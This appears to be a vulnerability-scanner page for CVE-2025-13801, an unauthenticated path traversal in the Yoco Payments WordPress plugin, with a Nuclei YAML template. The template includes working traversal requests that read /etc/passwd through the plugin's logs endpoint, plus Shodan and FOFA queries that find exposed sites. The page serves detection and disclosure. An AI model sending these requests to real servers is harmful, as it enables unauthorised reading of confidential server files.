Yoco Payments <= 3.8.8 - Path Traversal
CVE-2025-13801
Verified
Description
Yoco Payments WordPress plugin <= 3.8.8 contains a path traversal caused by improper validation of the file parameter, letting unauthenticated attackers read arbitrary files on the server.
Severity
High
CVSS Score
7.5
Published Date
April 23, 2026
Template Author
0x_akoko
CVE-2025-13801.yaml
id: CVE-2025-13801
info:
name: Yoco Payments <= 3.8.8 - Path Traversal
author: 0x_Akoko
severity: high
description: |
Yoco Payments WordPress plugin <= 3.8.8 contains a path traversal caused by improper validation of the file parameter, letting unauthenticated attackers read arbitrary files on the server.
impact: |
Unauthenticated attackers can read sensitive files on the server, potentially exposing confidential information.
remediation: |
Update to the latest version beyond 3.8.8.
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cwe-id: CWE-22
metadata:
verified: true
max-request: 2
fofa-query: body="yoco-payment-gateway"
shodan-query: http.html:"yoco-payment-gateway"
tags: wordpress,wp-plugin,yoco,lfi,path-traversal,unauth
flow: http(1) && http(2)
http:
- raw:
- |
GET /wp-content/plugins/yoco-payment-gateway/readme.txt HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- status_code == 200
- contains_all(body, "=== Yoco Payments ===", "Stable tag:")
- compare_versions(plugin_version, '<= 3.8.8')
condition: and
internal: true
extractors:
- type: regex
name: plugin_version
part: body
group: 1
regex:
- '(?m)Stable tag:\s*([0-9.]+)'
internal: true
- raw:
- |
GET /wp-json/yoco/logs?file=../../plugins/yoco-payment-gateway/../../../../../../etc/passwd HTTP/1.1
Host: {{Hostname}}
- |
GET /?rest_route=/yoco/logs&file=../../plugins/yoco-payment-gateway/../../../../../../etc/passwd HTTP/1.1
Host: {{Hostname}}
stop-at-first-match: true
matchers:
- type: dsl
dsl:
- status_code == 200
- regex('root:[x*]?:0:0:', body)
condition: and
# digest: 4a0a00473045022005c44ce1a56374026c3bbf615772e5ffb6e12021931bcc171a313875793b1302022100ebd22bb6d1d0bd71e58a53fa8d85892ad61b70453c737a85e66b6f7da1122019:922c64590222798bb761d5b6d8e729507.5Score
CVSS Metrics
CVSS Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
CWE ID:
cwe-22
References
Remediation Steps
Update to the latest version beyond 3.8.8.